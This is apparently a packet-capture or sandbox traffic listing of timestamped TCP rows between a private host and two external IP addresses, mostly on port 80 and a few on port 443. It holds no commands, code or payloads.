Oct 30, 2024 05:25:21.902717113 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.902729988 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.902741909 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.902820110 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.946223974 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.946243048 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.946255922 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.946428061 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.946428061 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.947499990 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.947546959 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.947561979 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.947601080 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.947633982 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.947644949 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.947654963 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.947676897 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.947705030 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.947990894 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.947999954 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.948028088 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.948041916 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.948146105 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.948157072 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.948167086 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.948182106 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.948195934 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.948206902 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.948218107 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.948218107 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.948241949 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.948261023 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.948849916 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.948905945 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.948906898 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.948924065 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.948935986 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.948945999 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:21.948956013 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.948956013 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.948970079 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:21.948988914 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.021873951 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.021889925 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.021897078 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.021907091 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.021950006 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.021970987 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.065399885 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.065416098 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.065462112 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.065469980 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.065573931 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.065573931 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.066654921 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.066663980 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.066699982 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.066725969 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.066741943 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.066751003 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.066796064 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.067029953 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.067047119 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.067069054 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.067104101 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.067150116 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.067161083 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.067171097 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.067181110 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.067203045 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.067218065 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.067643881 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.067662954 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.067672968 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.067692995 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.067714930 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.068006992 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.068017960 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.068027973 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.068037033 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.068048000 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.068072081 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.068097115 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.068499088 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.068511009 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.068521976 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.068538904 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.068552971 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.068572044 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.141016006 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.141052008 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.141067982 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.141077042 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.141078949 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.141096115 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.141124010 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.165802002 CET	443	49999	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:22.165898085 CET	49999	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:22.184604883 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.184623957 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.184634924 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.184673071 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.184711933 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.185919046 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.185961008 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.185967922 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.185977936 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.186007023 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.186022043 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.186208963 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.186217070 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.186249971 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.186342001 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.186352015 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.186362982 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.186373949 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.186381102 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.186419010 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.186805964 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.186815023 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.186836004 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.186846972 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.186847925 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.186857939 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.186873913 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.186904907 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.187365055 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.187378883 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.187391043 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.187402010 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.187417984 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.187446117 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.208663940 CET	49999	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:22.208709002 CET	443	49999	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:22.208961010 CET	443	49999	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:22.226361036 CET	49999	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:22.232286930 CET	49999	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:22.232335091 CET	443	49999	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:22.260260105 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.260322094 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.260328054 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.260333061 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.260346889 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.260365963 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.260385990 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.303752899 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.303769112 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.303780079 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.303828955 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.303831100 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.303841114 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.303850889 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.303879976 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.305068970 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.305079937 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.305093050 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.305119038 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.305135012 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.305305004 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.305324078 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.305344105 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.305358887 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.305389881 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.305428982 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.305433989 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.305444956 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.305455923 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.305466890 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.305485010 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.305896997 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.305911064 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.305921078 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.305938005 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.305967093 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.306140900 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.306183100 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.306201935 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.306211948 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.306222916 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.306241989 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.306255102 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.306636095 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.306648016 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.306660891 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.306670904 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.306694984 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.379489899 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.379502058 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.379511118 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.379587889 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.422936916 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.422950983 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.422961950 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.423069000 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.424241066 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.424259901 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.424271107 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.424274921 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.424298048 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.424319983 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.424424887 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.424434900 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.424444914 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.424475908 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.424490929 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.424690008 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.424700022 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.424715042 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.424742937 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.424757957 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.424767017 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.424777985 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.424806118 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.424822092 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.425246954 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.425296068 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.425299883 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.425362110 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.425384998 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.425395966 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.425410986 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.425421953 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.425430059 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.425462961 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.425807953 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.425818920 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.425828934 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.425839901 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.425858974 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.425879002 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.498591900 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.498604059 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.498621941 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.498632908 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.498653889 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.498694897 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.542319059 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.542330980 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.542340994 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.542397022 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.542434931 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.543433905 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.543447971 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.543468952 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.543483019 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.543490887 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.543494940 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.543510914 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.543538094 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.543750048 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.543771982 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.543795109 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.543821096 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.543874025 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.543884039 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.543895006 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.543905020 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.543921947 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.543946981 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.544289112 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.544296980 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.544331074 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.544348001 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.544420958 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.544430971 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.544441938 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.544461012 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.544475079 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.544734001 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.544744015 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.544755936 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.544771910 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.544780970 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.544783115 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.544790983 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.544820070 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.544821024 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.544857025 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.617964029 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.617975950 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.617988110 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.618050098 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.618158102 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.661314964 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.661341906 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.661405087 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.661441088 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.662475109 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.662493944 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.662503958 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.662528992 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.662547112 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.662631989 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.662642956 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.662656069 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.662673950 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.662760973 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.663189888 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.663201094 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.663217068 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.663247108 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.663271904 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.663290024 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.663300037 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.663311005 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.663326979 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.663335085 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.663337946 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.663366079 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.663381100 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.663806915 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.663856983 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.663883924 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.663897038 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.663912058 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.663927078 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.663938999 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.663964987 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.664307117 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.664318085 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.664330006 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.664355993 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.664359093 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.664371014 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.664381027 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.664433002 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.737195015 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.737219095 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.737231970 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.737303019 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.737334013 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.781860113 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.781872988 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.781888008 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.781898022 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.781908989 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.781919956 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:22.781943083 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.781964064 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:22.782248020 CET	80	49997	185.215.113.16	192.168.2.6
